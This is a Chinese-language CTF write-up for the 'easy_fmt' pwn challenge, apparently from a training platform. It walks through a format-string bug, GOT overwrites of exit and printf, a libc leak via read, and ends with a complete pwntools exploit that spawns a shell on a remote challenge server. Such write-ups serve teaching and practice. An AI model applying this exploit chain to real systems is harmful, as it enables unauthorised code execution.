Easyfmt
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
存在一个明显的格式化字符串漏洞,但是只能用一次,后面exit(0)会结束程序
CheckIn需要**
是一个随机数,且只有一位,我们直接输入2,成功率1/10
为了不让程序退出,多次利用printf,我们就得利用第一次的printf把exit的got表内容修改为0x400982,这样,我们就能一直处于一个循环,多次利用printf
由于RELRO为Partial RELRO,是延迟绑定,因此,exit的got表初始值为这个
因此,我们只需要修改后两字节
- #修改exit的got表,指向main+0x7C处,即形成一个循环,这样我们能继续使用printf
- payload = '%' + str(0x982) + 'c%10$hn'
- payload = payload.ljust(16,'b') + p64(exit_got)
- sh.sendline(payload)
接下来,为了得到system地址,我们准备泄露read函数地址,得到libc版本即基地址
- #泄露read地址
- payload = '%10$sBBB' + p64(read_got)
- sh.recvuntil('slogan: ')
- sh.sendline(payload)
- sh.recvuntil('slogan: ')
- sh.recv(1)
- read_addr = u64(sh.recvuntil('BBB',drop = True).ljust(8,'\x00'))
- libc = LibcSearcher('read',read_addr)
- libc_base = read_addr - libc.dump('read')
- system_addr = libc_base + libc.dump('system')
- print 'libc_base=',hex(libc_base)
- print 'system_addr=',hex(system_addr)
接下来,我们需要修改printf的got表内容,指向system即可
综上,我们的exp脚本
- #coding:utf8
- from pwn import *
- from LibcSearcher import *
- #sh = process('./easy_fmt')
- sh = remote('111.198.29.45',53528)
- elf = ELF('./easy_fmt')
- printf_got = elf.got['printf']
- read_got = elf.got['read']
- exit_got = elf.got['exit']
- sh.sendlineafter('enter:','2')
- #修改exit的got表,指向main+0x7C处,即形成一个循环,这样我们能继续使用printf
- payload = '%' + str(0x982) + 'c%10$hn'
- payload = payload.ljust(16,'b') + p64(exit_got)
- sh.sendline(payload)
- #泄露read地址
- payload = '%10$sBBB' + p64(read_got)
- sh.recvuntil('slogan: ')
- sh.sendline(payload)
- sh.recvuntil('slogan: ')
- sh.recv(1)
- read_addr = u64(sh.recvuntil('BBB',drop = True).ljust(8,'\x00'))
- #print hex(read_addr)
- libc = LibcSearcher('read',read_addr)
- libc_base = read_addr - libc.dump('read')
- system_addr = libc_base + libc.dump('system')
- print 'libc_base=',hex(libc_base)
- print 'system_addr=',hex(system_addr)
- #修改printf的got表,只需修改低3字节即可到system
- data = system_addr & 0xFF
- payload = '%' + str(data) + 'c%14$hhn'
- data = ((system_addr & 0xFFFFFF) >> 8) - data
- payload += '%' + str(data) + 'c%15$hn'
- payload = payload.ljust(32,'B') + p64(printf_got) + p64(printf_got+1)
- sh.recvuntil('slogan: ')
- sh.sendline(payload)
- #get shell
- sh.sendlineafter('slogan: ','/bin/sh')
- sh.interactive()